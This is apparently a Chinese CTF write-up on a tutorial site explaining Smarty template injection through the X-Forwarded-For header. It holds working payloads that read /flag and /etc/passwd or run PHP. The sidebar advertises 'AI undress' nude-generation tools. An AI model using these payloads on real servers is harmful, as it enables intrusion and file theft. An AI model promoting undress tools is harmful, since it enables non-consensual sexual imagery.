目录
题目描述
Smarty SSTI 利用
漏洞确认
常规利用方式
{literal}标签
静态方法
题目漏洞代码
首页 运维 安全 Smarty SSTi怎么用

Smarty SSTi怎么用

May 15, 2023 am 11:37 AM
smarty ssti

题目描述

题目提供了一个读取XFF头的api ,页面最下方有Build With Smarty的字样,可以确定是用Smarty引擎写的.

基本上可以确定该页面存在SSTi的可能性

Smarty SSTi怎么用

将xff头从127.0.0.1改为127.0.0{1 2}出现如下结果

ssti无疑了

Smarty SSTi怎么用

最终payload是

X-Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if}

Smarty SSTi怎么用

Smarty SSTI 利用

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

漏洞确认

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30

Smarty SSTi怎么用

常规利用方式

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错:

Smarty SSTi怎么用

在Smarty3的官方手册里有以下描述:

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

该题目使用的是Smarty类,所以只能另寻它路。

{literal}标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

<script language="php">phpinfo();</script>
登录后复制

来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。

静态方法

通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。

Smarty类的getStreamVariable方法的代码如下:

public function getStreamVariable($variable)
{
       $_result = '';
       $fp = fopen($variable, 'r+');
       if ($fp) {
           while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
               $_result .= $current_line;
          }
           fclose($fp);
           return $_result;
      }
       $smarty = isset($this->smarty) ? $this->smarty : $this;
       if ($smarty->error_unassigned) {
           throw new SmartyException('Undefined stream variable "' . $variable . '"');
      } else {
           return null;
      }
  }
登录后复制

可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法,很多文章里给的payload都形如:{self::getStreamVariable("file:///etc/passwd")}。然而使用这个payload会触发报错如下:

Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:Current IP:{self::getStreamVariable(‘file:///etc/passwd’)}" static class 'self' is undefined or not allowed by security setting <-- thrown in /var/www/html/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.phpon line 12

可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。

{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else}{elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等

既然全部的PHP函数都可以使用,那么我们是否可以利用此来执行我们的代码呢?

正如开头所说的

题目漏洞代码

通过getshell之后的文件读取,本题中引发SSTI的代码简化后如下:

display("string:".$ip);
}

可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。

以上是Smarty SSTi怎么用的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
仓库:如何复兴队友
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
3 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

PHP如何防止SSTI攻击? PHP如何防止SSTI攻击? Jun 30, 2023 am 09:36 AM

如何使用PHP防御Server-SideTemplateInjection(SSTI)攻击引言:Server-SideTemplateInjection(SSTI)是一种常见的Web应用程序安全漏洞,攻击者通过在模板引擎中注入恶意代码,可以导致服务器执行任意代码,从而造成严重的安全隐患。在PHP应用程序中,当不正确地处理用户输入时,可能会暴露出SST

如何使用PHP和Smarty实现前后端分离开发 如何使用PHP和Smarty实现前后端分离开发 Jun 25, 2023 pm 01:46 PM

在现代web开发中,前后端分离已经成为了一个非常流行的趋势,它能够让开发者们更好地组织项目并且提高了项目开发的效率。PHP和Smarty是两个非常常用的技术,它们可以用来实现前后端分离的开发方式。本文将会介绍如何使用PHP和Smarty来实现前后端分离开发。什么是前后端分离开发在传统的web开发中,前端主要负责页面的呈现以及与后端交互的逻辑。后端则主要负责业

PHP中的模板引擎Smarty初探 PHP中的模板引擎Smarty初探 May 11, 2023 pm 05:15 PM

现如今,网站的开发离不了一个重要的组成部分——模板引擎。模板引擎是指一种将页面模板和数据结合起来生成具有特定格式的html代码的工具。在各种网站开发框架中,模板引擎是一个必不可少的组件,因为模板引擎可以大量减少代码的重复性和提高页面的动态性。其中一种最常见和流行的模板引擎是Smarty。Smarty是一个基于PHP语言开发的DSL(DomainSpecif

PHP开发中如何使用Smarty模板引擎 PHP开发中如何使用Smarty模板引擎 Jun 27, 2023 pm 01:28 PM

作为一名PHP开发者,使用模板引擎是理所当然的选择。Smarty是一种流行的模板引擎,它提供了一种将HTML/CSS/JavaScript与PHP代码分离的方式,使开发人员能够更好地组织和管理项目。在本文中,我们将学习在PHP开发过程中如何使用Smarty模板引擎。一、安装Smarty在之前,我们必须安装Smarty。在本文中,我们将使用Composer安装

如何使用PHP和Smarty模板引擎 如何使用PHP和Smarty模板引擎 May 11, 2023 pm 03:33 PM

PHP是一种强大的服务器端脚本语言,可以用于开发Web应用程序。在Web开发的早期阶段,程序员们使用了很多HTML和JavaScript代码来开发Web应用程序。但是,这种方法很难维护和管理,因为HTML和JavaScript代码可能会变得非常复杂。为了解决这个问题,Smarty模板引擎被创建出来。Smarty是一种基于PHP开发的模板引擎,用于管理和生成W

thinkphp和smarty是什么 thinkphp和smarty是什么 Jun 14, 2022 pm 05:56 PM

thinkphp是一个开源轻量级PHP框架,是用来简化企业级应用开发和敏捷WEB应用开发的;使用ThinkPHP,开发者可以更方便和快捷的开发和部署应用。Smarty是一个PHP模板引擎,可以更好的帮助开发者分离程序逻辑和页面显示(业务逻辑和显示逻辑分离),使程序员改变程序的逻辑内容不会影响到前端人员的页面设计,前端人员重新修改页面不会影响到程序的程序逻辑。

Smarty SSTi怎么用 Smarty SSTi怎么用 May 15, 2023 am 11:37 AM

题目描述题目提供了一个读取XFF头的api,页面最下方有BuildWithSmarty的字样,可以确定是用Smarty引擎写的.基本上可以确定该页面存在SSTi的可能性将xff头从127.0.0.1改为127.0.0{1 2}出现如下结果ssti无疑了最终payload是X-Forwarded-For:{ifvar_dump(file_get_contents(&#39;/flag&#39;))}{/if}SmartySSTI利用Smarty是基于PHP开发的,对于Smarty的

如何在CakePHP中使用Smarty? 如何在CakePHP中使用Smarty? Jun 03, 2023 pm 03:10 PM

CakePHP是一个开源的PHP框架,它提供了丰富的功能和工具来加速web应用程序的开发。其中一个强大的功能就是模板引擎。默认情况下,CakePHP使用PHP的原生语法来进行视图渲染。但是,有时候我们可能想要使用另一种模板引擎,如Smarty。本文将介绍如何在CakePHP中使用Smarty。一、什么是Smarty?Smarty是一个基于模板的PHP框架,它

See all articles